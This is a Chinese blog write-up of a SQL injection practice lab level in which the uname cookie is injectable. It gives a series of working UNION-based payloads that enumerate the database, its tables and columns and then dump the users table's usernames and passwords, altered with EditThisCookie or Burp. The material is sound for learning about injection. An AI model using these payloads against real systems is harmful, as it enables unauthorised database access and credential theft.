基于错误_POST_Cookie注入
这就是Page1的最后一关了，想想几天前还对Sqli一知半解，现在终于算得上入了门了。
0x01. 判断注入点
首先在页面正常登陆，登陆成功是这样的：
- 回显有
User-Agent、IP这样从当次Request直接获取的， - 也有
Cookie这样刷新页面后仍存在的， - 还有登录用户的
id、username、password。 - 最下方是
删除Cookie的按钮，点击后刷新到初始界面。
使用Chrome插件Edit This Cookie查看存储的Cookie信息：
可以看到只存储了uname这一个字段的信息，且是明文存储。
修改Cookie后刷新界面：
便可以得知整个后台流程：
- 登陆后将
uname写入Cookie。 - 在每次
Request (GET / POST)页面时后台判断Cookie是否存在，若不存在则为登录界面；若存在则读取Cookie中字段uname。 - 在数据库中按
username查询，若用户存在则将查询到用户id、username、password回显；若不存在…
可以判断出注入点就在Cookie处，但是这里注入有两种途径：
- 用Chrome插件
EditThisCookie修改本地Cookie文件注入。 - 用
Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入，这种方式不会修改本地的Cookie文件。
接下来将重点演示第一种途径的注入。
0x02. 注入过程
我们得出后台根据Cookie中的uname查询用户的所有信息，即这是个SELECT语句，我们可以使用最简单的UNION注入。
步骤1：判断字符型 / 数字型注入
uname = admin'
步骤2：判断字段数与回显字段
uname = admin' order by 4#
uname = 1' union select 1,2,3#
实际上这个页面太清晰了，不用判断字段都能猜出来。
得出SQL语句：
SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1
步骤3：数据库名security
uname = 1' union select 1,2,database()#
步骤4：表名users
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
步骤5：字段名id、username、password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
步骤6：数据
1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#
同样地，我们使用Burp：
0x03. 吐槽
很久没见到这么简单的注入方式了。
从搭 Wamp 环境到结束 Page 1，已经过去两周了，如果你是从第一篇一直做到这里，那么恭喜你，你已经对SQLI有了基本的认识。
接下来就是 Page 2 的关卡，有更高阶的技巧和过滤，但跟着我做，想必是很简单的【笑。
